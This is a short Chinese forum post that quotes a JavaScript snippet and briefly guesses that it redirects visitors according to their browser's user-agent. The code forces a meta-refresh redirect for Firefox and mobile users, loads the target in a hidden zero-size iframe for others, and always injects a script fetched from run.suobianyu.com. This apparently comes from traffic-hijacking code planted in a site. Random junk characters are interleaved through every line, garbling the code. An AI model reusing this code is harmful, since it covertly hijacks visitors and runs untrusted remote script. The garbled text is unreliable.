|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
2 d" b' P( {1 [, a; P1 n- var ua = navigator.userAgent.toLowerCase(),+ g. K4 ]# R1 R( ]+ s- ?9 G9 L3 H
- browser = {1 B3 x1 Z3 J+ M$ Q' [
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
3 M. L G( l' H' a3 j0 F - opera: /opera/.test(ua),
- Q! X* f: {4 ~ - maxthon: /maxthon/.test(ua),2 \3 U0 a1 a! p3 D+ f7 s' o+ {
- theworld: /theworld/.test(ua),4 V! G5 H6 S1 L+ s
- qq: /qqbrowser/.test(ua),1 p+ E o& \& |# n3 Y
- sogou: /se /.test(ua),. W* v! w5 u! U* o* A/ T- p+ i
- liebao: /liebao/.test(ua),
0 J3 d2 f3 E' G' S$ k7 { - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
& m' |. M+ \$ g; J - chrome: /chrome|crios/.test(ua),
) Z0 B: I# ~" d* K/ l - safari: /webkit/.test(ua),
9 P6 Y1 l. d k6 s - uc: /ucbrowser/.test(ua),
. @, K6 I: l/ ]. ]# {# \4 m1 Q - ie: /msie/.test(ua) && !/opera/.test(ua)) [/ u: e( J% R; ~- B9 E
- };
7 V5 R& G7 o2 Y4 t' a - var ver = browser.ver;' ^! T0 K* T' U" \2 {4 }8 G) V
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {) c$ e' M7 N; d( x/ R
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
7 @" @, H1 v/ y9 C - } else {. J$ Y8 @, @/ a5 g, X J
- window.sc = "<iframe src=" + tourl + "></iframe>";) U# t7 p% f/ i6 @6 t6 W( F
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");7 p, F! Z# I7 x3 i+ m& ?
- }6 U) d; A+ u) b
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
+ x- W( X* r6 j7 z+ C# D
# m* B2 z6 D* e9 ?; u$ B好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|